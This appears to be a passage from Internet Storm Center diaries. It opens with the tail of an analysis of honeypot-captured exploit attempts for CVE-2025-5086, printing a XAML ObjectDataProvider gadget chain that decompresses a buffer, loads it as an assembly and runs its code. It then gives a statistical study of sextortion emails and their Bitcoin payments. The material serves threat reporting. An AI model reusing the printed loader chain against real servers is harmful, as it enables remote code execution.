         <StaticResource ResourceKey="data"></StaticResource>&#xD;
      </x:Arguments>&#xD;
   </i:MemoryStream>&#xD;
   <c:GZipStream x:Key="gzipStream">&#xD;
      <x:Arguments>&#xD;
            <StaticResource ResourceKey="inputStream"></StaticResource>&#xD;
            <c:CompressionMode>0</c:CompressionMode>&#xD;
      </x:Arguments>&#xD;
   </c:GZipStream>&#xD;
   <s:Array x:Key="buf" x:FactoryMethod="s:Array.CreateInstance">&#xD;
      <x:Arguments>&#xD;
         <x:Type TypeName="s:Byte"/>&#xD;
         <x:Int32>3584</x:Int32>&#xD;
      </x:Arguments>&#xD;
   </s:Array>&#xD;
   <ObjectDataProvider x:Key="tmp" ObjectInstance="{StaticResource gzipStream}" MethodName="Read">&#xD;
      <ObjectDataProvider.MethodParameters>&#xD;
         <StaticResource ResourceKey="buf"></StaticResource>&#xD;
         <x:Int32>0</x:Int32>&#xD;
         <x:Int32>3584</x:Int32>&#xD;
      </ObjectDataProvider.MethodParameters>&#xD;
   </ObjectDataProvider>&#xD;
    <ObjectDataProvider x:Key="asmLoad" ObjectType="{x:Type r:Assembly}" MethodName="Load">&#xD;
        <ObjectDataProvider.MethodParameters>&#xD;
            <StaticResource ResourceKey="buf"></StaticResource>&#xD;
        </ObjectDataProvider.MethodParameters>&#xD;
    </ObjectDataProvider>&#xD;
    <ObjectDataProvider x:Key="types" ObjectInstance="{StaticResource asmLoad}" MethodName="GetTypes">&#xD;
        <ObjectDataProvider.MethodParameters/>&#xD;
    </ObjectDataProvider>&#xD;
    <ObjectDataProvider x:Key="firstType" ObjectInstance="{StaticResource types}" MethodName="GetValue">&#xD;
        <ObjectDataProvider.MethodParameters>&#xD;
            <s:Int32>0</s:Int32>&#xD;
        </ObjectDataProvider.MethodParameters>&#xD;
    </ObjectDataProvider>&#xD;
    <ObjectDataProvider x:Key="createInstance" ObjectInstance="{StaticResource firstType}" MethodName="InvokeMember">&#xD;
        <ObjectDataProvider.MethodParameters>&#xD;
            <x:Null/>&#xD;
            <r:BindingFlags>512</r:BindingFlags>&#xD;
            <x:Null/>&#xD;
            <x:Null/>&#xD;
            <x:Null/>&#xD;
            <x:Null/>&#xD;
            <x:Null/>&#xD;
            <x:Null/>&#xD;
        </ObjectDataProvider.MethodParameters>&#xD;
    </ObjectDataProvider>&#xD;
</ResourceDictionary>

The two identical Base64 encoded strings decode to a GZIP-compressed Windows executable. Virustotal doesn't see anything wrong with them [2]. Hyprid Analysis labels it as malicious [3]. The string "Project Discovery CVE-2025-5086" may point to the scan originating from a vulnerability scanner.

[1] https://www.3ds.com/trust-center/security/security-advisories/cve-2025-6204
[2] https://www.virustotal.com/gui/file/292ea9dbc5a1d15b769edb5df1602418931122455223081064ad7ea4e8ab6821
[3] https://hybrid-analysis.com/sample/292ea9dbc5a1d15b769edb5df1602418931122455223081064ad7ea4e8ab6821/68b8504446b83fb2480c50bd

--
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu, Social Media Links

What can almost 2,000 sextortion messages tell us about how threat actors operate and whether they are successful? Let’s find out.

Although it is true that I covered sextortion in my last diary[1], I thought the topic deserved further discussion today.

This is not because we didn’t cover sextortion in enough depth here at the Internet Storm Center over the previous years – we did – for example, see the pre-2020 series of articles from Rick in which he discussed tracking of sextortion payments[2]. The reason is that in my latest diary, we only had a fairly small sample to base our observations on… And this has recently changed.

After the last diary was published, our friend and colleague “l0c4l“ from France got in touch with me and offered to share his dataset containing  approximately 1,900 sextortion messages for further analysis. And as Marlon Brando put it – it was an offer I couldn’t refuse.

After some initial cleanup of the received data, I was left with 1,888 individual sextortion messages that – according to their headers – were sent between June 2021 and August 2025. In these e-mails, there were 193 unique Bitcoin addresses to which recipients were supposed to send payments.

Although in some messages threat actors offered Ethereum (ETH) as an alternative to Bitcoin and provided a corresponding second wallet/address as a result, I only used the BTC addresses for further analysis.

Before moving on, I added the data from my own dataset (which was discussed last time) to the new dataset. After that, I ended up with 1,909 messages in which 205 unique addresses (203 BTC, 2 LTC) were used. This – although not overwhelmingly large – was a reasonable sample size for further analysis.

So, what can we learn from it?

• The use of specific cryptocurrency addresses in sextortion messages seems to be fairly short-lived. Approximately 46% of the addresses in the dataset were only used for a single day, another 21% for two days, and additional 16% for three days. Use over a time span exceeding one week was found for only 10 addresses, six of which were used for longer than a month. The “longest-living” address was used in 13 different messages sent over the course of 104 days. This pushed the average length of use to 3.7 days, with median being 2 days.
  
   
• While most addresses were used with only one message template – and correspondingly with only a single requested payment amount – this wasn’t always the case. Requests related to nine Bitcoin addresses (4.4%) varied across messages. The minimum non-zero difference identified for one address was 40 USD (threat actors asked for 250 USD in some messages and 290 USD in others), while the maximum difference was 4,500 USD (some messages asked for 500 USD, while others for 5,000 USD in connection with the same Bitcoin address).
• Considering the highest requested payment for each address, the average requested amount was 1,716 USD, with a median of 1,370 USD.
  
  
   
• The difference between the highest and lowest amounts that threat actors tried to extort was surprisingly large. In our sample, the minimum requested amount in any sextortion message was 250 USD, while the largest was 36,500 EUR (about 43,000 USD). Such large amounts were exceptional, however, as only two Bitcoin addresses were connected with requests exceeding 5,000 USD (the aforementioned one, and another one related to a request for 32,300 EUR, roughly 38,000 USD).
• Of the 205 cryptocurrency addresses in our dataset, only 57 (~28%) didn’t receive any payment at all, while the remaining addresses did. Overall, the average amount received by a single address was 0.083873483 BTC (approximately 9,150 USD at the time of writing), with median at 0.03954898 BTC (~ 4,315 USD). The largest total amount received by any single address in the dataset was 0.69163943 BTC (~ 75,459 USD).

When writing the last diary – covering cryptocurrency addresses that were used in sextortion campaigns between September 2024 and August 2025 – I was under the impression that the fact that “only” 40% of addresses in that dataset received no payments was a fairly bad result. It turns out that it was significantly better than the proportion observed in our larger dataset, which covers a much longer timespan. Hopefully this indicates a decrease in the effectiveness of sextortion over time, and decreasing willingness of recipients to pay… If so, let’s hope that this trend continues.

[1] https://isc.sans.edu/diary/Do+sextortion+scams+still+work+in+2025/32178
[2] https://isc.sans.edu/diary/Sextortion+Follow+the+Money+The+Final+Chapter/25204

-----------
Jan Kopriva
LinkedIn
Nettles Consulting